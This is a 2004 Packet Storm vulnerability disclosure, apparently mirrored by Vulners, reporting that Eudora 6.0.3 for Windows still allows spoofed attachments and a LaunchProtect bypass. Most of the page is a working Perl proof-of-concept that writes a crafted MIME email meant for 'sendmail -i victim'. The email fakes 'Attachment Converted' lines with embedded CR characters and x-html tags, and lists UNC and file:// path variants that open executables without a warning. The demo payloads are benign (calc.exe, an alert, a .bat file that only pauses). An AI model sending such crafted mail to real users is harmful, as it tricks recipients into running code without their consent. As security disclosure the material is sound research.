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eudora603.pl

🗓️ 19 Mar 2004 00:00:00Reported by Paul SzaboType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Eudora 6.0.3 Windows has unresolved spoofing and LaunchProtect issues still present.

Code
`Eudora 6.0.3 for Windows was released recently. Though known for years, the  
spoofing of attachments is still not fixed; the problem with LaunchProtect  
is not fixed either.  
  
Spoofing demo (essentially identical to 6.0.1 version) below.  
  
Cheers,  
  
Paul Szabo - [email protected] http://www.maths.usyd.edu.au:8000/u/psz/  
School of Mathematics and Statistics University of Sydney 2006 Australia  
  
  
#!/usr/bin/perl --  
  
use MIME::Base64;  
  
print "From: me\n";  
print "To: you\n";  
print "Subject: Eudora 6.0.3 on Windows spoof, LaunchProtect\n";  
print "MIME-Version: 1.0\n";  
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";  
print "\n";  
print "This is a multi-part message in MIME format.\n";  
print "--zzz\n";  
print "Content-Type: text/plain\n";  
print "Content-Transfer-Encoding: 7bit\n";  
print "\n";  
  
print "Pipe the output of this script into: sendmail -i victim\n";  
  
print "\nWith spoofed attachments, we could 'steal' files if the message  
was forwarded (not replied to).\n";  
  
print "\nWithin plain-text email (or plain-text, inline MIME parts) embedded  
CR=x0d characters get converted internally into a NUL=x00 and ignored,  
so we can spoof \"attachment converted\" lines:\n";  
  
print "\nThe following work fine (but are boring and/or put up warnings):\n";  
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";  
print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n";  
print "(Note how JavaScript is done with IE, web with default browser Netscape)\n";  
print "Attachment Converted\r: <A href=javascript:alert(%27hello%27)>hello.txt</a>\n";  
print "Attachment Converted\r: <A href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n";  
print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file.txt</a>\n";  
  
print "\nIf we can guess the full path to the attach directory then can  
change the name shown to anything we like, but get broken icon:\n";  
print "Attachment Converted\r: <A href=H:/eudora/attach/calc>file.txt</a>\n";  
  
print "\nCuteness value only:\n";  
print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A href=c:/winnt/system32/calc.exe>file2.txt</a>\n";  
  
print "\n<x-html>  
With <b>HTML</b> <i>inclusions</i> we can do  
<a href=c:/winnt/system32/calc.exe>file</a>,  
<a href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a>  
and  
<a href=\"javascript:alert(\x27hello\x27)\">javascript</a>  
references. Any way to exploit this?  
</x-html>\n";  
  
print "\n<x-rich>  
Can also do RTF inclusions. Can this be abused?  
</x-rich>\n";  
  
print "\nThose <x-xyz></x-xyz> constructs allow spoofing  
attachments easily, without embedded CR:\n\n";  
print "HTML\n";  
print "<x-html></x-html>Attachment Converted: \"xyz\"\n";  
print "Rich\n";  
print "<x-rich></x-rich>Attachment Converted: \"xyz\"\n";  
print "Flowed\n";  
print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n";  
  
print "\n";  
  
print "\n--zzz\n";  
print "Content-Type: text/plain; name=\"plain.txt\"\n";  
print "Content-Transfer-Encoding: 7bit\n";  
print "Content-Disposition: inline; filename=\"plain.txt\"\n";  
print "\n";  
print "Within a 'plain' attachment:\n";  
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";  
  
print "\n--zzz\n";  
print "Content-Type: text/plain; name=\"qp.txt\"\n";  
print "Content-Transfer-Encoding: quoted-printable \n";  
print "Content-Disposition: inline; filename=\"qp.txt\"\n";  
print "\n";  
print "Within quoted-printable encoded parts still need the embedded CR:\n";  
print "=41ttachment=20=43onverted\r=3a \"c:\\winnt\\system32\\calc.exe\"\n";  
  
print "\n--zzz\n";  
print "Content-Type: text/plain; name=\"b64.txt\"\n";  
print "Content-Transfer-Encoding: base64\n";  
print "Content-Disposition: inline; filename=\"b64.txt\"\n";  
print "\n";  
$z = "Within base64 encoded (plain-text, inline) MIME parts, can spoof\r  
without embedded CR (but line termination is CR-NL):\r  
Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n";  
print encode_base64($z);  
  
print "\n--zzz\n";  
print "Content-Type: text/plain\n";  
print "Content-Transfer-Encoding: 7bit\n";  
print "\n";  
  
print "\n=====\n";  
  
$X = 'README'; $Y = "$X.bat";  
print "\nThe X - X.exe dichotomy: send a plain $X attachment:\n";  
$z = "rem Funny joke\r\npause\r\n";  
print "begin 600 $X\n", pack('u',$z), "`\nend\n";  
print "\nand (in another message or) after some blurb so is scrolled off in  
another screenful, also send $Y. Clicking on $X does not  
get it any more (but gets $Y, with a LauchProtect warning):\n";  
$z = "rem Big joke\r\nrem Should do something nasty\r\npause\r\n";  
print "begin 600 $Y\n", pack('u',$z), "`\nend\n";  
  
print "\n=====\n";  
  
print "  
Eudora 6.0.3 LaunchProtect handles the X-X.exe dichotomy in the attach  
directory only, and allows spoofed attachments pointing to an executable  
stored elsewhere to run without warning:\n";  
print "Attachment Converted\r: <a href=c:/winnt/system32/calc>go.txt</a>\n";  
print "Attachment Converted\r: c:/winnt/system32/calc\n";  
  
print "  
Can be exploited if there is more than one way into attach: in my setup  
H: and \\\\rome\\home are the same thing, but Eudora does not know that.\n";  
print "These elicit warnings:\n";  
print "Attachment Converted\r: <a href=h:/eudora/attach/README>readme.txt</a>\n";  
print "Attachment Converted\r: h:/eudora/attach/README\n";  
print "Attachment Converted\r: \\README\n";  
print "Attachment Converted\r: .\\README\n";  
print "Attachment Converted\r: \\.\\README\n";  
print "Attachment Converted\r: ?\\README\n";  
print "Attachment Converted\r: \\?\\README\n";  
print "while these do the bad thing without warning:\n";  
print "Attachment Converted\r: <a href=file://rome/home/eudora/attach/README>readme</a>\n";  
print "Attachment Converted\r: //rome/home/eudora/attach/README\n";  
print "Attachment Converted\r: \\\\rome\\home\\eudora\\attach\\README\n";  
  
print "  
For the default setup, Eudora knows that C:\\Program Files  
and C:\\Progra~1 are the same thing:\n";  
print "Attachment Converted\r: \"c:/program files/qualcomm/eudora/attach/README\"\n";  
print "Attachment Converted\r: \"c:/progra~1/qualcomm/eudora/attach/README\"\n";  
print "  
and also knows that various UNC references:  
\\\\localhost\\c...  
\\\\127.0.0.1\\c...  
\\\\BIOSNAME\\c...  
\\\\DNSNAME\\c...  
\\\\IP\\c...  
\\\\\\?\\c...  
\\\\c...  
...c:\\progr...  
...c\\progr...  
...c:progr...  
...program files\\...  
...progra~1\\...  
or even  
.\\NoSuchDir\\..\\README  
//c|\\Program Files\\qualcomm\\eudora\\attach\\README  
\\\\c|\\Program Files\\qualcomm\\eudora\\attach\\README  
res://c:\\Program Files\\qualcomm\\eudora\\attach\\README  
res:\\\\c:\\Program Files\\qualcomm\\eudora\\attach\\README  
shell:Fonts\\..\\..\\Program Files\\qualcomm\\eudora\\attach\\README  
%ProgramFiles%\\qualcomm\\eudora\\attach\\README  
%windir%\\..\\Program Files\\qualcomm\\eudora\\attach\\README  
are all the same thing...  
";  
  
print "\n";  
print "\n--zzz--\n";  
print "\n";  
`

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19 Mar 2004 00:00Current
7.4High risk
Vulners AI Score7.4
30